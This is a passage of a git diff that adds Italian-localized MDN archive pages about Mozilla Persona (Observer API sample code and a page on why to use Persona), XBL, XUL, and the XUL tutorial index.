+  navigator.id.request();
+}, false);
+
+signout.addEventListener("click", function() {
+  navigator.id.logout();
+}, false);
+
+function handleUserResponse(xhr) {
+  return function() {
+    if (xhr.status == 200) {
+        if (xhr.responseText == "no user") {
+            logoutUser();
+        }
+        else {
+            loginUser(xhr.responseText);
+        }
+      navigator.id.watch({
+        loggedInUser: currentUser,
+        onlogin: function(assertion) {
+          verifyAssertion(assertion);
+        },
+        onlogout: function() {
+          logoutUser();
+        }
+      });
+    }
+    else {
+        navigator.id.logout();
+        alert("XMLHttpRequest error: " + xhr.status);
+    }
+  }
+}
+
+function checkCurrentUser() {
+  var xhr = new XMLHttpRequest();
+  xhr.open("GET", "/currentuser", true);
+  xhr.send();
+  xhr.onload = handleUserResponse(xhr);
+}
+
+checkCurrentUser();
+
+function loginUser(loggedInUser) {
+  // update your UI to show that the user is logged in
+}
+
+function logoutUser() {
+  // update your UI to show that the user is logged out
+}
+
+function handleVerificationResponse(xhr) {
+  // if successfully verified, log the user in
+}
+
+function verifyAssertion(assertion) {
+  var xhr = new XMLHttpRequest();
+  xhr.open("POST", "/verify", true);
+  var param = "assertion="+assertion;
+  xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
+  xhr.setRequestHeader("Content-length", param.length);
+  xhr.setRequestHeader("Connection", "close");
+  xhr.send(param);
+  xhr.onload = handleVerificationResponse(xhr);
+}
+</pre>
+
+<p>This code adds listeners which call <code>request()</code> and <code>logout()</code> when the user clicks "Sign in" and "Sign out" respectively. It then checks whether the server thinks someone is logged in already, and updates its UI if it thinks someone is. The code then calls <code>watch()</code> to start listening for login and logout events. When Persona triggers <code>onlogout</code> the code updates its state to log the user out, and when Persona triggers <code>onlogin</code> the code sends the assertion to the server for verification.</p>
+
+<p>Although the Observer API is more complex to use, it provides two extra features: <em>seamless first-time sign-in</em>, and <em>global logout</em>.</p>
+
+<h3 id="Seamless_first-time_sign-in">Seamless first-time sign-in</h3>
+
+<p>The first time a user signs in using Persona, they may need to create a Persona account. This will happen if they haven't used Persona before and if their email provider does not support Persona. In this case they will be invited to create an account using the <a href="https://developer.mozilla.org/en-US/docs/Persona/Bootstrapping_Persona">fallback provider</a> operated by Mozilla, which will ask them to prove ownership of their email address. After creating an account, if the original website uses the Callback API, the user <em>will not</em> be automatically redirected to the website and signed in: they will have to navigate back to it.</p>
+
+<p>If the website uses the Observer API, then once the user finishes creating their account with the fallback provider, they will be immediately redirected to the site, the <code>watch()</code> API will call the <code>onlogin</code> listener, and the user will be signed in.</p>
+
+<h3 id="Global_logout">Global logout</h3>
+
+<p>With the Observer API, the website listens to the <code>onlogout</code> event. If the user signs out of Persona by visiting <a href="https://login.persona.org/">https://login.persona.org/</a> and signing out there, then the Observer API triggers this event for all websites that are listening. In response, the site should log the user out.</p>
+
+<p>This means that if the user doesn't always trust the other people that may access their computer, they can sign out in one place, and this will be propagated to all sites that use the Observer API. </p>
diff --git a/files/it/archive/mozilla/persona/why_persona/index.html b/files/it/archive/mozilla/persona/why_persona/index.html
new file mode 100644
index 0000000000..b2f606d85b
--- /dev/null
+++ b/files/it/archive/mozilla/persona/why_persona/index.html
@@ -0,0 +1,59 @@
+---
+title: Perché Persona per Mozilla?
+slug: Archive/Mozilla/Persona/Why_Persona
+translation_of: Archive/Mozilla/Persona/Why_Persona
+---
+<div dir="ltr" style="margin-left: 40px;">
+ Persona is an openly distributed, cross-browser identity system providing a solution to the traditional password model. It addresses the usability deficiencies that plague other privacy-related systems such as OpenID, without resorting to a centralized infrastructure such as Facebook Connect.<span id="result_box" lang="en"><span class="hps"> </span></span></div>
+<div dir="ltr" style="margin-left: 40px;">
+  </div>
+<div dir="ltr" style="margin-left: 40px;">
+ <span lang="en"><span class="hps">The current approach for establishing and managing </span><span class="hps">user names</span> <span class="hps">and passwords is tedious, inefficient, and unsecure. </span>U<span class="hps">sers must create and remember complex passwords for each site and service. Sites then must securely encrypt and store passwords to prevent the leaking of sensitive information. The prevention and negation of security leaks is the primary reason for the use of Persona, but the flexibility of its systems outclasses most standard identity security systems.</span></span></div>
+<div dir="ltr" style="margin-left: 40px;">
+  </div>
+<div class="summary">
+ <div dir="ltr" style="margin-left: 40px;">
+  <strong>Note:</strong> For more detailed information about Persona a<strong>nd its functions </strong>see <a href="https://support.mozilla.org/en-US/kb/what-is-persona-and-how-does-it-work">What is Persona and how does it work?</a></div>
+</div>
+<h2 id="Persona_eliminates_the_need_for_per-site_passwords">Persona eliminates the need for per-site passwords</h2>
+<p style="margin-left: 40px;">Persona utilizes a safe, two-click system built on top of public-key cryptography for logging in to websites. The user's browser generates a cryptographic affirmation of identity that expires after a few minutes and is only valid on one site. By avoiding passwords, users do not need to worry about remembering several distinct passwords and need no longer be concerned with unsecure access to their password.<span id="result_box" lang="en"><span class="hps"> This quick and easy sign-in process eliminates the current inefficiencies of traditional account registration and allows users to quickly establish accounts on websites.</span></span></p>
+<h2 id="Persona_uses_email_addresses_as_identities">Persona uses email addresses as identities</h2>
+<div id="gt-src-tools">
+ <div id="gt-src-tools-l">
+  <div id="gt-input-tool" style="display: inline-block;">
+   <div id="itamenu" style="margin-left: 40px;">
+    Persona's system relies on email addresses as their key component because of email's inherent versatile and private nature. The pre-existing infrastructure works very well from not only a design perspective but an ideal perspective of openly maintained and safe transfer of identity across the Internet.</div>
+  </div>
+ </div>
+</div>
+<h3 id="sect1"> </h3>
+<h3 id="Benefits_for_the_user"><span class="short_text" id="result_box" lang="en"><span class="hps">Benefits for</span> <span class="hps">the user</span></span></h3>
+<ul style="margin-left: 40px;">
+ <li>Users already know their email addresses. They don't have to learn a new and potentially confusing system, like OpenID.</li>
+ <li><span id="result_box" lang="en"><span class="hps">The</span> <span class="hps">email addresses</span> <span class="hps">carefully</span> <span class="hps">capture the</span> <span class="hps">idea of</span> <span id="result_box" lang="es"><span class="hps"><code>someone@some-context</code></span></span>. This <span class="hps">makes it easier for</span> <span class="hps">users to keep their</span> <span class="hps">identities</span> <span id="result_box" lang="es"><code>@work</code>, <code>@home</code>, or <code>@school </code></span><span>separate.</span> <span class="hps">This differs from</span> <span class="hps">the trend of</span> linking together many accounts <span class="hps">through real</span> <span class="hps">identity,</span> single-account <span class="hps">policies</span> <span class="hps">on social networks like Google+ and Facebook.</span></span></li>
+ <li><span id="result_box" lang="en"><span class="hps">Email can</span> <span class="hps atn">be self-</span><span>organized</span> <span class="hps">or delegated to</span> <span class="hps">other providers</span><span>,</span> <span class="hps">giving users</span> <span class="hps">control of their</span> <span class="hps">identity.</span></span> This ability is greatly diminished when one must consolidate many accounts into one identity. </li>
+</ul>
+<div class="almost_half_cell" id="gt-res-content">
+ <h3 dir="ltr" id="Advantages_for_developers" style="zoom: 1;"><span class="short_text" id="result_box" lang="en"><span class="hps">Advantages</span> <span class="hps">for developers</span></span></h3>
+</div>
+<ul style="margin-left: 40px;">
+ <li><span id="result_box" lang="en"><span class="hps">Email addresses</span> let <span class="hps">developers </span><span class="hps">communicate directly with </span><span class="hps">users.</span> </span></li>
+ <li>
+  <div class="almost_half_cell" id="gt-res-content">
+   <div dir="ltr" style="zoom: 1;">
+    <span id="result_box" lang="es"><span id="result_box" lang="en"><span class="hps">Persona provides email addresses to websites</span><span class="hps"> automatically</span> <span class="hps">when a user</span> <span class="hps">logs in, </span><span class="hps">eliminating the need for</span> <span class="hps">additional</span> <span class="hps atn">post-</span><span>signup</span> <span class="hps">forms.</span> </span></span></div>
+  </div>
+ </li>
+ <li>
+  <div class="almost_half_cell" id="gt-res-content">
+   <div dir="ltr" style="zoom: 1;">
+    <span id="result_box" lang="es"><span id="result_box" lang="en"><span class="hps">Many login systems</span> <span class="hps">treat</span> <span class="hps">email</span> <span class="hps">addresses</span> <span class="hps">as</span> <span class="hps">unique keys, </span><span class="hps">so there is no</span> <span class="hps">lock-in</span> <span class="hps">to</span> <span class="hps">Persona and</span> it <span class="hps">can be integrated</span> <span class="hps">with</span> <span class="hps">existing access</span> <span class="hps">systems</span><span>.</span></span></span><span lang="es"><span lang="en"><span class="hps"> Any user who has an</span></span></span><span lang="es"><span lang="en"><span class="hps"> email address can access content almost immediately</span></span></span><span id="result_box" lang="es"><span id="result_box" lang="en">.</span></span></div>
+  </div>
+ </li>
+</ul>
+<div class="almost_half_cell" id="gt-res-content">
+ <h2 dir="ltr" id="How_Persona_is_different_from_other_providers_of_single_sign-on" style="zoom: 1;"><span id="result_box" lang="es"><span class="hps"><span id="result_box" lang="en"><span class="hps">How</span> <span class="hps">Persona</span> <span class="hps">is different</span> <span class="hps">from other providers of</span> <span class="hps">single sign</span><span>-on</span></span></span></span></h2>
+</div>
+<p style="margin-left: 40px;"><span id="result_box" lang="es"><span id="result_box" lang="en">Persona<span class="hps"> protects</span> <span class="hps">privacy, provides the user with</span><span class="hps"> control,</span> <span class="hps">and embellishes</span><span class="hps"> choice</span> <span class="hps">in a way that</span> <span class="hps">other security providers can't. Many</span> <span class="hps">social networks like</span> <span class="hps">Facebook</span> <span class="hps">and</span> <span class="hps">Google+</span> <span class="hps">require users to</span> <span class="hps">use their</span> <span class="hps">real names, accept their policies,</span> <span class="hps">and</span> <span class="hps">limit users to only</span> <span class="hps">one account.</span> P<span class="hps">ersona</span> <span class="hps">allows users to</span> <span class="hps">keep their work</span><span>, school, and social identities separate b</span></span></span><span style="line-height: 1.5;">y using email addresses as a unique identifier rather than real names.</span> Because of this anonymity you are guaranteed an extra layer of identity and network protection that most social networks do not have.</p>
+<p style="margin-left: 40px;"><span lang="en"><span class="hps">Persona</span> <span class="hps">also takes</span> <span class="hps">a new approach</span> <span class="hps">to protecting</span> <span class="hps">user privacy</span> <span class="hps">by placing </span><span class="hps">the user's browser</span> <span class="hps">in the center</span> <span class="hps">of the authentication process. T</span><span>he browser</span> <span class="hps">obtains</span> <span class="hps">credentials</span> <span class="hps">provided by the</span> <span class="hps">user's email</span><span>,</span> <span class="hps">then presents these credentials to a website</span><span class="hps">.</span> <span class="hps">The</span> <span class="hps">email provider</span> <span class="hps">cannot</span> <span class="hps">track the</span> <span class="hps">user,</span> <span class="hps">but sites</span> <span class="hps">can still have</span> <span class="hps">confidence in the identity</span> <span class="hps">of the user by</span> <span class="hps">cryptographically</span> <span class="hps">verifying the</span> <span class="hps">credentials.</span> <span class="hps">Most</span> <span class="hps">other systems,</span> <span class="hps">even</span> <span class="hps">distributed</span> systems <span class="hps">like</span> <span class="hps">OpenID</span><span>,</span> <span class="hps">require</span> <span class="hps">sites</span> <span class="hps">to connect to central networks</span> <span class="hps">before allowing</span> <span class="hps">a user to</span> <span class="hps">log in.</span></span></p>
+<p style="margin-left: 40px;">The efficiency of Persona allows an advanced relationship between developers and users. Mozilla is leading the way in open and free web development, and Persona supports Mozilla's design philosophy through its easy-to-use interface and user protection features.</p>
diff --git a/files/it/archive/mozilla/xbl/index.html b/files/it/archive/mozilla/xbl/index.html
new file mode 100644
index 0000000000..d47f050234
--- /dev/null
+++ b/files/it/archive/mozilla/xbl/index.html
@@ -0,0 +1,27 @@
+---
+title: XBL
+slug: Archive/Mozilla/XBL
+tags:
+  - Tutte_le_categorie
+  - XBL
+translation_of: Archive/Mozilla/XBL
+---
+<p>
+</p><p><b>XML Binding Language</b> (<b>XBL</b>, a volte chiamato anche Extensible Bindings Language) è un linguaggio per descrivere i binding che possono essere associati ad elementi di altri documenti. L'elemento al quale il binding è associato, chiamato <i>bound element</i>, acquisisce il nuovo comportamento specificato dal binding.
+</p><p>I binding possono contenere gestori di eventi che sono registrati per il bound element, un'implementazione di nuovi metodi e proprietà che divengono accessibili dal bound element e del contenuto anonimo che viene inserito sotto il bound element.
+</p><p>La maggior parte dei widget <a href="it/XUL">XUL</a> sono almeno parzialmente implementati utilizzando XBL. E' inoltre possibile costruire widget riutilizzabili partendo da <a href="it/XUL">XUL</a>, <a href="it/HTML">HTML</a>, <a href="it/SVG">SVG</a> e altri linguaggi utilizzando XBL.
+</p>
+<h3 id="Specifiche"> Specifiche </h3>
+<p>XBL 1.0 è specificato in <a href="it/XBL_1.0_Reference">XBL 1.0 Reference</a>. Purtroppo, l'attuale implementazione in Mozilla è differente dalle specifiche e non vi è alcun documento conosciuto che descriva tali differenze. E' sperabile che la Reference venga aggiornata per descrivere l'implementazione di Mozilla.
+</p><p>XBL 1.0 è una tecnologia specifica di Mozilla e non uno standard W3C. Tuttavia, si sta lavorando su almeno due standard: sXBL e XBL 2.0.
+</p>
+<ul><li> W3C <a class="external" href="http://w3.org/TR/sXBL/">sXBL</a> (attualmente una bozza) sta per <i>SVG's XML Binding Language</i>. Includerà un sottoinsieme delle funzionalità di XBL 2.0 di cui si necessita per SVG. Nello stile è simile all'XBL di Mozilla, ma vi sono alcune differenze più o meno sottili. Per esempio, i nomi degli elementi sono diversi. Inoltre in sXBL manchino alcune funzionalità di XBL, come l'ereditarietà dei binding e la definizione di metodi e proprietà per i bound element.
+</li><li> <a class="external" href="http://www.mozilla.org/projects/xbl/xbl2.html">XBL 2.0</a> è in fase di sviluppo ed è stato pensato per risolvere i problemi trovati in XBL 1.0 e per permettere l'implementazione in un più vasto rango di web browser.
+</li></ul>
+<p>Alcune differenze tra sXBL e XBL2 sono elencate in <a class="external" href="http://annevankesteren.nl/2005/11/xbl">un articolo di Anne van Kesteren</a> (EN).
+</p>
+<h3 id="Vedi_anche"> Vedi anche </h3>
+<ul><li> <a href="it/Introduzione_a_XBL">Introduzione a XBL</a> da. <a href="it/Tutorial_XUL">Tutorial XUL</a>.
+</li><li> <a class="external" href="http://mb.eschew.org/15.php">Il capitolo su XBL</a> di <a class="external" href="http://mb.eschew.org/">"Rapid Application Development with Mozilla"</a> (EN)
+</li></ul>
+{{ languages( { "en": "en/XBL", "fr": "fr/XBL", "pl": "pl/XBL", "pt": "pt/XBL" } ) }}
diff --git a/files/it/archive/mozilla/xul/index.html b/files/it/archive/mozilla/xul/index.html
new file mode 100644
index 0000000000..5de9e8752f
--- /dev/null
+++ b/files/it/archive/mozilla/xul/index.html
@@ -0,0 +1,63 @@
+---
+title: XUL
+slug: Archive/Mozilla/XUL
+tags:
+  - Tutte_le_categorie
+  - XUL
+translation_of: Archive/Mozilla/XUL
+---
+<p> </p>
+
+<div class="callout-box"><strong><a href="/it/Tutorial_XUL" title="it/Tutorial_XUL">Tutorial XUL</a></strong><br>
+Un tutorial guidato che aiuta i principianti a iniziare a programmare in XUL, originariamente pubblicato in XULPlanet.</div>
+
+<div><strong>XUL</strong> (XML User Interface Language) è un linguaggio di Mozilla basato su <a href="/it/XML" title="it/XML">XML</a> che permette di creare applicazioni multipiattaforma, ricche di funzionalità, che possono funzionare connesse a Internet oppure no. Queste applicazioni possono essere facilmente personalizzate con testi alternativi, elementi grafici, e layout, in modo che possano essere facilmente personalizzate o localizzate. Gli sviluppatori web che già conoscono l'HTML dinamico (<a href="/it/DHTML" title="it/DHTML">DHTML</a>) possono imparare XUL e iniziare a sviluppare rapidamente. Aprendo la pagina <a class="external" href="http://www.hevanet.com/acorbin/xul/top.xul">XUL Periodic Table</a> con Firefox o un qualsiasi altro browser basato su <a href="/it/Gecko" title="it/Gecko">Gecko</a> si vedranno alcuni esempi dimostrativi di XUL.</div>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h4 id="Documentazione" name="Documentazione"><a href="/it/Documentazione" title="it/Documentazione">Documentazione</a></h4>
+
+    <dl>
+     <dt><a class="external" href="https://developer.mozilla.org/it/docs/Mozilla/Tech/XUL/XUL_Reference">Reference sugli elementi XUL</a></dt>
+     <dd><small>Si veda anche la documentazione MDC su <a href="/it/Sistema_di_Preferenze" title="it/Sistema_di_Preferenze">Sistema di Preferenze</a> e <a href="/it/Richlistbox" title="it/Richlistbox">richlistbox</a>.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a href="https://developer.mozilla.org/it/docs/The_Joy_of_XUL" title="it/La_gioia_di_XUL">La gioia di XUL</a></dt>
+     <dd><small>Descrive le funzionalità e i componenti principali di XUL.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a href="/it/Adattare_le_applicazioni_XUL_per_Firefox_1.5" title="it/Adattare_le_applicazioni_XUL_per_Firefox_1.5">Adattare le applicazioni XUL per Firefox 1.5</a></dt>
+     <dd><small>Una lista di cambiamenti in <a href="/it/Firefox_1.5" title="it/Firefox_1.5">Firefox 1.5</a> che interessano gli sviluppatori.</small></dd>
+    </dl>
+
+    <dl>
+     <dt><a href="/it/Guida_ai_Template_XUL" title="it/Guida_ai_Template_XUL">Guida ai Template XUL</a></dt>
+     <dd><small>Una guida dettagliata sui Template di XUL, che servono essenzialmente a generare contenuti da una fonte dati.</small></dd>
+    </dl>
+   </td>
+   <td>
+    <h4 id="Strumenti" name="Strumenti">Strumenti</h4>
+
+    <ul>
+     <li><a class="external" href="http://ted.mielczarek.org/code/mozilla/extensiondev/">L'estensione Extension developer</a> (che comprende un editor XUL)</li>
+     <li><a class="external" href="http://www.extensionsmirror.nl/index.php?showtopic=751">La barra laterale XULRef</a></li>
+     <li><a href="/it/DOM_Inspector" title="it/DOM_Inspector">DOM Inspector</a></li>
+    </ul>
+
+    <h4 id="Argomenti_correlati" name="Argomenti_correlati">Argomenti correlati</h4>
+
+    <dl>
+     <dd><a href="/it/JavaScript" title="it/JavaScript">JavaScript</a>, <a href="/it/XBL" title="it/XBL">XBL</a>, <a href="/it/CSS" title="it/CSS">CSS</a>, <a href="/it/RDF" title="it/RDF">RDF</a>, <a href="/it/Estensioni" title="it/Estensioni">Estensioni</a>, <a href="/it/XULRunner" title="it/XULRunner">XULRunner</a></dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p><span class="comment">Interwiki Language Links</span></p>
+
+<p>{{ languages( { "en": "en/XUL", "es": "es/XUL", "fr": "fr/XUL", "ja": "ja/XUL", "pl": "pl/XUL", "pt": "pt/XUL" } ) }}</p>
diff --git a/files/it/archive/mozilla/xul/tutorial/index.html b/files/it/archive/mozilla/xul/tutorial/index.html
new file mode 100644
index 0000000000..30a8c31e2c
--- /dev/null
+++ b/files/it/archive/mozilla/xul/tutorial/index.html
@@ -0,0 +1,170 @@
+---
+title: Guida a XUL
+slug: Archive/Mozilla/XUL/Tutorial
+tags:
+  - Guide
+  - XUL
+  - XUL_guida
+translation_of: Archive/Mozilla/XUL/Tutorial
+---
+<p>Questo tutorial descrive <a href="/en-US/docs/XUL" title="/en-US/docs/XUL">XUL</a>, the <a href="/en-US/docs/XML" title="/en-US/docs/XML">XML</a> Il linguaggio di interfaccia utente. Questo linguaggio è stato creato per le applicazioni Mozilla e viene utilizzato per descrivere l' interfaccia utente.</p>
+
+<h2 id="Introduction" name="Introduction">Introduzione</h2>
+
+<ul>
+ <li><a href="/it/docs/XUL/Tutorial/Introduction" title="/en-US/docs/XUL/Tutorial/Introduction">Introduzione</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/XUL_Structure" title="/en-US/docs/XUL/Tutorial/XUL_Structure">Struttura XUL</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/The_Chrome_URL" title="/en-US/docs/XUL/Tutorial/The_Chrome_URL">Chrome URL</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Manifest_Files" title="/en-US/docs/XUL/Tutorial/Manifest_Files">Files di Manifesto</a></li>
+</ul>
+
+<h2 id="Simple_Elements" name="Simple_Elements">Elementi basilari</h2>
+
+<ul>
+ <li><a href="/en-US/docs/XUL/Tutorial/Creating_a_Window" title="/en-US/docs/XUL/Tutorial/Creating_a_Window">Creazione di una finestra</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Adding_Buttons" title="/en-US/docs/XUL/Tutorial/Adding_Buttons">Aggiunta di pulsanti</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Adding_Labels_and_Images" title="/en-US/docs/XUL/Tutorial/Adding_Labels_and_Images">Aggiunta di etichette e di Immagini</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Input_Controls" title="/en-US/docs/XUL/Tutorial/Input_Controls">Campi input</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Numeric_Controls" title="/en-US/docs/XUL/Tutorial/Numeric_Controls">Campi interi</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/List_Controls" title="/en-US/docs/XUL/Tutorial/List_Controls">Liste</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Progress_Meters" title="/en-US/docs/XUL/Tutorial/Progress_Meters">Barre di progresso</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Adding_HTML_Elements" title="/en-US/docs/XUL/Tutorial/Adding_HTML_Elements">Aggiunta di elementi HTML</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Using_Spacers" title="/en-US/docs/XUL/Tutorial/Using_Spacers">Aggiunta di spaziatori</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/More_Button_Features" title="/en-US/docs/XUL/Tutorial/More_Button_Features">Altre funzionalità dei pulsanti</a></li>
+</ul>
+
+<h2 id="The_Box_Model" name="The_Box_Model">Il Modello a scatola</h2>
+
+<ul>
+ <li><a href="/en-US/docs/XUL/Tutorial/The_Box_Model" title="/en-US/docs/XUL/Tutorial/The_Box_Model">Il Modello a scatola</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Element_Positioning" title="/en-US/docs/XUL/Tutorial/Element_Positioning">Posizionamento degli elementi </a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Box_Model_Details" title="/en-US/docs/XUL/Tutorial/Box_Model_Details">Dettagli del Modello a scatola</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Groupboxes" title="/en-US/docs/XUL/Tutorial/Groupboxes">I vari Groupbox</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Adding_More_Elements" title="/en-US/docs/XUL/Tutorial/Adding_More_Elements">Aggiunta di altri elementi</a></li>
+</ul>
+
+<h2 id="More_Layout_Elements" name="More_Layout_Elements">Altri elementi di Layout</h2>
+
+<ul>
+ <li><a href="/en-US/docs/XUL/Tutorial/Stacks_and_Decks" title="/en-US/docs/XUL/Tutorial/Stacks_and_Decks">Pile e Mazzi</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Stack_Positioning" title="/en-US/docs/XUL/Tutorial/Stack_Positioning">Posizionamento Pile</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Tabboxes" title="/en-US/docs/XUL/Tutorial/Tabboxes">Tab multipli</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Grids" title="/en-US/docs/XUL/Tutorial/Grids">Griglie</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Content_Panels" title="/en-US/docs/XUL/Tutorial/Content_Panels">Contenuti esterni</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Splitters" title="/en-US/docs/XUL/Tutorial/Splitters">Separatori</a></li>
+</ul>
+
+<h2 id="Toolbars_and_Menus" name="Toolbars_and_Menus">Barre degli strumenti e Menù</h2>
+
+<ul>
+ <li><a href="/en-US/docs/XUL/Tutorial/Toolbars" title="/en-US/docs/XUL/Tutorial/Toolbars">Barre degli strumenti</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Simple_Menu_Bars" title="/en-US/docs/XUL/Tutorial/Simple_Menu_Bars">Semplici barre di menù</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/More_Menu_Features" title="/en-US/docs/XUL/Tutorial/More_Menu_Features">Altre funzionalità dei menù</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Popup_Menus" title="/en-US/docs/XUL/Tutorial/Popup_Menus">Menù a comparsa</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Scrolling_Menus" title="/en-US/docs/XUL/Tutorial/Scrolling_Menus">Menù di scorrimento</a></li>
+</ul>
+
+<h2 id="Events_and_Scripts" name="Events_and_Scripts">Eventi e Script</h2>
+
+<ul>
+ <li><a href="/en-US/docs/XUL/Tutorial/Adding_Event_Handlers" title="/en-US/docs/XUL/Tutorial/Adding_Event_Handlers">Aggiunta di Gestori degli eventi</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/More_Event_Handlers" title="/en-US/docs/XUL/Tutorial/More_Event_Handlers">Altri gestori degli eventi</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Keyboard_Shortcuts" title="/en-US/docs/XUL/Tutorial/Keyboard_Shortcuts">Scorciatoie da Tastiera</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Focus_and_Selection" title="/en-US/docs/XUL/Tutorial/Focus_and_Selection">Focus e Selezione</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Commands" title="/en-US/docs/XUL/Tutorial/Commands">Comandi</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Updating_Commands" title="/en-US/docs/XUL/Tutorial/Updating_Commands">Aggiorna i Comandi</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Broadcasters_and_Observers" title="/en-US/docs/XUL/Tutorial/Broadcasters_and_Observers">Emettitori e Osservatori</a></li>
+</ul>
+
+<h2 id="Document_Object_Model" name="Document_Object_Model">Modello ad oggetti del documento</h2>
+
+<ul>
+ <li><a href="/en-US/docs/XUL/Tutorial/Document_Object_Model" title="/en-US/docs/XUL/Tutorial/Document_Object_Model">Modello ad oggetti del documento</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Modifying_a_XUL_Interface" title="/en-US/docs/XUL/Tutorial/Modifying_a_XUL_Interface">Modificare un interfaccia XUL</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Manipulating_Lists" title="/en-US/docs/XUL/Tutorial/Manipulating_Lists">ManIpolare liste</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Box_Objects" title="/en-US/docs/XUL/Tutorial/Box_Objects">Scatole a oggetti</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/XPCOM_Interfaces" title="/en-US/docs/XUL/Tutorial/XPCOM_Interfaces">XPCOM Interfacce</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/XPCOM_Examples" title="/en-US/docs/XUL/Tutorial/XPCOM_Examples">XPCOM Esempi</a></li>
+</ul>
+
+<h2 id="Trees" name="Trees">Alberi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/XUL/Tutorial/Trees" title="/en-US/docs/XUL/Tutorial/Trees">Alberi</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/More_Tree_Features" title="/en-US/docs/XUL/Tutorial/More_Tree_Features">Altre funzionalità degli Alberi</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Tree_Selection" title="/en-US/docs/XUL/Tutorial/Tree_Selection">Selezione dall' Albero</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Custom_Tree_Views" title="/en-US/docs/XUL/Tutorial/Custom_Tree_Views">Vista dell' albero personalizzata</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Tree_View_Details" title="/en-US/docs/XUL/Tutorial/Tree_View_Details">Dettagli della vista dell' Albero</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Tree_Box_Objects" title="/en-US/docs/XUL/Tutorial/Tree_Box_Objects">Albero ad oggetti</a></li>
+</ul>
+
+<h2 id="RDF_and_Templates" name="RDF_and_Templates">RDF e Modelli</h2>
+
+<ul>
+ <li><a href="/en-US/docs/XUL/Tutorial/Introduction_to_RDF" title="/en-US/docs/XUL/Tutorial/Introduction_to_RDF">Introduzione all' RDF</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Templates" title="/en-US/docs/XUL/Tutorial/Templates">Modelli</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Trees_and_Templates" title="/en-US/docs/XUL/Tutorial/Trees_and_Templates">Alberi e Modelli</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/RDF_Datasources" title="/en-US/docs/XUL/Tutorial/RDF_Datasources">RDF sorgenti di dati</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Advanced_Rules" title="/en-US/docs/XUL/Tutorial/Advanced_Rules">Regole avanzate</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Persistent_Data" title="/en-US/docs/XUL/Tutorial/Persistent_Data">Dati persistenti</a></li>
+</ul>
+
+<h2 id="Skins_and_Locales" name="Skins_and_Locales">Temi e Località</h2>
+
+<ul>
+ <li><a href="/en-US/docs/XUL/Tutorial/Adding_Style_Sheets" title="/en-US/docs/XUL/Tutorial/Adding_Style_Sheets">Aggiunt a di fogli di stile</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Styling_a_Tree" title="/en-US/docs/XUL/Tutorial/Styling_a_Tree">Aggiunta di stile ad un Albero</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Modifying_the_Default_Skin" title="/en-US/docs/XUL/Tutorial/Modifying_the_Default_Skin">Modifica il tema di default</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Creating_a_Skin" title="/en-US/docs/XUL/Tutorial/Creating_a_Skin">Crea un tema</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Localization" title="/en-US/docs/XUL/Tutorial/Localization">Localizzazione</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Property_Files" title="/en-US/docs/XUL/Tutorial/Property_Files">File di proprietà</a></li>
+</ul>
+
+<h2 id="Bindings" name="Bindings">Collegamenti</h2>
+
+<ul>
+ <li><a href="/en-US/docs/XUL/Tutorial/Introduction_to_XBL" title="/en-US/docs/XUL/Tutorial/Introduction_to_XBL">Introduzione a XBL</a></li>
+ <li><a href="/en-US/docs/XUL/Tutorial/Anonymous_Content" title="/en-US/docs/XUL/Tutorial/Anonymous_Content">Contenuti anonimi</a></li>
